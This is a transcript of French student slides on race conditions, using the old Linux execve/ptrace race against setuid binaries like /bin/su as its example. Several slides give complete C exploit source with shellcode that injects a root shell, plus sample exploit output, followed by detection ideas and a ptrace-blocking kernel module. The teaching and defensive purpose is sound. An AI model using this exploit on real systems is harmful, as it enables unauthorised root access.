Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

29
Course Critique Race Condition Bernard Marc Moxhet Vincent Louis

Transcript of Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

Page 1: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

Course CritiqueRace Condition

Bernard MarcMoxhet VincentLouis Stephane

Page 2: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

Qu’est ce qu’une Course Critique ?

Une course critique peut se produire si deux ou plusieurs processus manipulent les mêmes données ou ressources au même moment. L’ordre dans lequel les opérations seront effectuées est quelconque et le résultat peut être la perte ou la falsification des données.

Montrons tout cela par un exemple. Imaginons deux processus traitant une variable partagée X:

Page 3: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

. . .- Lecture de X en fichier Z (X=5)- X=X+5. . .---- Ecriture de X en fichier Z. . .

. . . - Lecture de X en fichier Z (X=5)- X=6-X- Ecriture de X en fichier Z-. . .- Lecture de X en fichier Z . . .

Process2 pense que le fichier Z contient la valeur calculée de X (=1), alors qu’il contient une valeur de X=10 calculée par Process1. Ainsi Process2 est induit en erreur ce qui peut avoir des conséquences sur le reste de son exécution.

Le danger est présent uniquement dans un intervalle appelé « section critique ». Dans notre exemple la zone encadrée en orange en est une.

Process1 Process2Exécu

tion

Page 4: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

Comment peut on utiliser cela pour une attaque?L’attaquant induit le système en erreur. Il veille à bien respecter un ordre dans les opérations effectuées par des processus système pour obtenir ce qu’il souhaite.

Montrons tout cela par un exemple:

. . .- Remplacer fichier X par mon fichier. . .

. . .-Création de fichier X

-Appel système sur fichier X. . .

Le fichier X peut par exemple être un fichier appelé par un processus possédant des droits root, ainsi, l’attaquant peut se procurer un accès root.

(Le fichier X peut, par exemple, faire appel à un shell ou un script…)

Attaquant Système

Exécu

tion

Page 5: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

Exemple

execve() / ptrace()

sous RedHat Linux

Page 6: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

Exemple

execve()

sous RedHat Linux

execve() est une fonction qui permet de transformer un processus en un autre. execve() charge les données du programme dans lequel on veut que le processus se transforme, ensuite change toutes les variables, registres… Le processus appelant est maintenant complètement transformé.

Page 7: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

Exemple

ptrace()

sous RedHat Linux

ptrace() est une fonction utilisée pour le débogage. Elle peut être attachée à un processus, si on a les droits assez élevés, pour surveiller celui-ci. Tout appel à ptrace met le processus surveillé en un état de sleep et ptrace peut alors consulter et même modifier les registres de ce processus.

Page 8: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

Exemple

setuid()

sous RedHat Linux

setuid place l’ID utilisateur dans le processus.

setuid contrôle l’ID utilisateur de l’appellant, si c’est le root, tous les processus avec cette ID utilisateur sont mis à root.

Page 9: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

Exemplesous RedHat Linux

En plaçant le processus fils en attente dans execve(), l’attaquant peut utiliser ptrace() (ou un mécanisme similaire) pour détourner le contrôle du processus fils.

Si le processus fils execute setuid, l’attaquant peut lui faire executer du code arbitraire avec des droits élevés.

Page 10: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

Exemplesous RedHat Linux

Pere Filscrée

Page 11: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

Exemplesous RedHat Linux

Pere Fils

. . .execve(su)

Page 12: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

Exemplesous RedHat Linux

Pere Fils

ch

arg

e

SU(droits root)

attache

Page 13: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

Exemplesous RedHat Linux

Pere SUattaché

Page 14: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

Exemplesous RedHat Linux

Pere SUattaché

Lit registresdu processus

Page 15: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

Exemplesous RedHat Linux

Pere SUattaché

Change registres en plaçant le code d’un shell dedans

Page 16: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

Exemplesous RedHat Linux

Pere SUattaché

Ecrit registresdu processus

Page 17: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

Exemplesous RedHat Linux

Pere shelldétache

(droits root)

Page 18: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

Exemple

Code de l´exploit

sous RedHat Linux

Page 19: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

#define CS_SIGNAL SIGUSR1#define VICTIM "/bin/su"#define SHELL "/bin/sh" char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x31\xc0\x31\xdb\xb0\x17\xcd\x80""\x31\xc0\xb0\x2e\xcd\x80""\x31\xc0\x50\xeb\x17\x8b\x1c\x24""\x90\x90\x90\x89\xe1\x8d\x54\x24""\x04\xb0\x0b\xcd\x80\x31\xc0\x89""\xc3\x40\xcd\x80\xe8\xe4\xff\xff""\xff" SHELL "\x00\x00\x00" ; volatile int cs_detector=0; void cs_sig_handler(int sig){ cs_detector=1;}

Page 20: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

void do_victim(char * filename)

{

/* -------------FILS------------- */

 

/* Attente que le pere envoi un signal */

while (!cs_detector) ;

/* Envoi de signal au pere */

kill(getppid(), CS_SIGNAL);

/* Execution de la fonction victime */

execl(filename, filename, NULL);

perror("execl");

exit(-1);

}

Page 21: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

int main(int argc, char * argv[])

{

char * filename=VICTIM;

pid_t victim;

int error, i;

struct user_regs_struct regs;

/* Interception du signal CS_SIGNAL par cs_sig_handler */

signal(CS_SIGNAL, cs_sig_handler);

/* Creer le fils -> processus victim */

victim=fork();

if (victim<0) {

perror("fork: victim");

exit(-1);

}

/* Le fils execute do_victim et le pere continue */

if (victim==0) do_victim(filename);

 

Page 22: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

/* -------------PERE------------- */ /* Reveiller le fils qui est en attente en do_victim */ kill(victim, CS_SIGNAL); /* Attendre que le fils soit eveille et envoi un signal */ while (!cs_detector) ; /* S'attacher au fils tant qu'on a encore assez de droits cad qu il n est pas encore devenu su */ if (ptrace(PTRACE_ATTACH, victim)) { perror("ptrace: PTRACE_ATTACH"); goto exit; } /* Attendre que le fils se soit bien endormi */ (void)waitpid(victim, NULL, WUNTRACED); /* On relance le fils pour qu'il devienne su */ if (ptrace(PTRACE_CONT, victim, 0, 0)) { perror("ptrace: PTRACE_CONT"); goto exit; } 

Page 23: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

/* Attendre que le fils se soit bien endormi */

(void)waitpid(victim, NULL, WUNTRACED);

/* Lecture des registres du fils */

if (ptrace(PTRACE_GETREGS, victim, 0, &regs)) {

perror("ptrace: PTRACE_GETREGS");

goto exit; }

/* Changer le registre "floatingpoint" du fils

en le remplacent par le shellcode */

for (i=0; i<=strlen(shellcode); i+=4) {

if (ptrace(PTRACE_POKETEXT, victim, regs.eip+i,

*(int*)(shellcode+i))) {

perror("ptrace: PTRACE_POKETEXT");

goto exit; }

}

/* Ecriture des registres dans le fils */

if (ptrace(PTRACE_SETREGS, victim, 0, &regs)) {

perror("ptrace: PTRACE_SETREGS");

goto exit; }

Page 24: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

fprintf(stderr, "bug X-ploited successfully.\nNjoy!\n"); /* Detachement du fils */ if (ptrace(PTRACE_DETACH, victim, 0, 0)) { perror("ptrace: PTRACE_DETACH"); goto exit; } /* Attente de la fin du fils */ (void)waitpid(victim, NULL, 0); fprintf(stderr,"Attente que fils se terminee\n"); return 0; exit:

fprintf(stderr, "MERDEEEEEEEEEEEEEEE c nva pas\n");kill(victim, SIGKILL);return -1; }

Page 25: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

DétectionOn imagine pour la détection de contrôler les appels aux fonctions de la famille execve et de detecter si dans un intervalle de temps assez court cet appel est suivi d’un appel à ptrace.

Page 26: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

EliminationPour éliminer le problème, il faut patcher le noyau. Les version du noyau à partir de la version 2.2.19 ne contiennent plus cette course.Un moyen rapide d’éliminer la course est d’interdire l’appel systeme à ptrace.Il y a un module écrit à cet effet:

Pour l’utiliser:gr03:~# gcc -c npt.cgr03:~# insmod ./npt.o

Le module interdit tout « ptrace » de processus, mais protège instantanément contre des attaques par cette course.

Page 27: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

Exemple de fonctionnement du module

[before installing module]gr03:> ./a.out /sbin/powerd[*] Child exec...[+] Waiting for disk sleep.... dunno why but that printf helps sometimes ;)[OK][+] ATTACH: 0 : Success[+] eip: 0x1109d0 -> 0x805a41b[+] copy data from 0x805a3e0 to 0xbffff100[...............][?] DETACH: 0 : Success Status of 5342: R bash#[installing module[bash# /sbin/insmod ./npt.obash# exit emsi:~/hack/ptrace> ./a.out /sbin/reboot[*] Child exec...[+] Waiting for disk sleep.... dunno why but that printf helps sometimes ;)[OK][--] ATTACH: Operation not permitted <==== see this Exiting...gr03:> Unknown id: ELF```

Page 28: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

Code source du module#define MODULE#define __KERNEL__

#include <linux/module.h>#include <linux/unistd.h>#include <sys/syscall.h>

#ifndef KERNEL_VERSION#define KERNEL_VERSION(a,b,c) ((a)*65536+(b)*256+(c))#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,2,0)#include <asm/unistd.h>#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,2,14)#include <bits/syscall.h>#endif

Page 29: Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

extern void *sys_call_table[];

int (*orig_ptrace)(int, int, int, int);

int no_ptrace (int request, int pid, int addr, int data){return -1;}

int init_module(void) {

orig_ptrace = sys_call_table[__NR_ptrace];sys_call_table[__NR_ptrace]=no_ptrace;return 0;

}

void cleanup_module(void) {

sys_call_table[__NR_ptrace]=orig_ptrace;}